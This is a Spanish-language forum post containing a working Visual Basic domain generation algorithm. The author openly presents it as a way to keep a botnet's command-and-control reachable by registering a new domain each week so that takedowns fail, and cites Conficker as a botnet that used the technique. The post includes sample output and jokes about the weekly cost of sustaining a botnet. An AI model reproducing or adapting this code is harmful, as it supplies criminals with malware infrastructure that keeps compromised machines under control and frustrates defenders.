Código
Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String Const sCharSet As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321" Dim sSuffix As String Dim iDay As Single Dim iMonth As Single Dim iYear As Single Dim lNumb As Long Dim i As Long Dim lPos As Long iDay = Day(dDate) iMonth = Month(dDate) iYear = Year(dDate) sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx") lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10)) lNumb = Abs(lNumb) If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay)) For i = 1 To lLength lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet)) GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1) Next i GenerateDomain = GenerateDomain & "." & sSuffix End Function
Esta funcion genera un nombre de dominio en base a una fecha
Utilidad? No se si sabreis algo sobre BotNets... pero imaginemos que queremos controlar una red de Zombies y , claro, utilizar un dominio fijo para la manejarlos no es seguro, ya que te lo capan y se acabo la juerga... Asi que tu compras los dominios por ejemplo de forma semanal, y tus Zombies generan cada Domingo el dominio al que se conectaran... Tachan!
Espero que se entienda para que sirve
Un ejemplo de BotNet que utiliza este sistema es la conocidisima Conficker
Ejemplo para hoy:
Código
Hoy tendriamos que comprar este dominio:
Debug.Print GenerateDomain(Now, 10)
Código:
ra8530yzvu.net
Nos costaria 6€ al año, y en una semana nos dariamos de baja... ese es el precio de mantener viva to BotNet 6€ por semana , tambien se podria aplicar este metodo con servicios web gratuitos... pero nosostros somos empresarios de los buenos
Saludos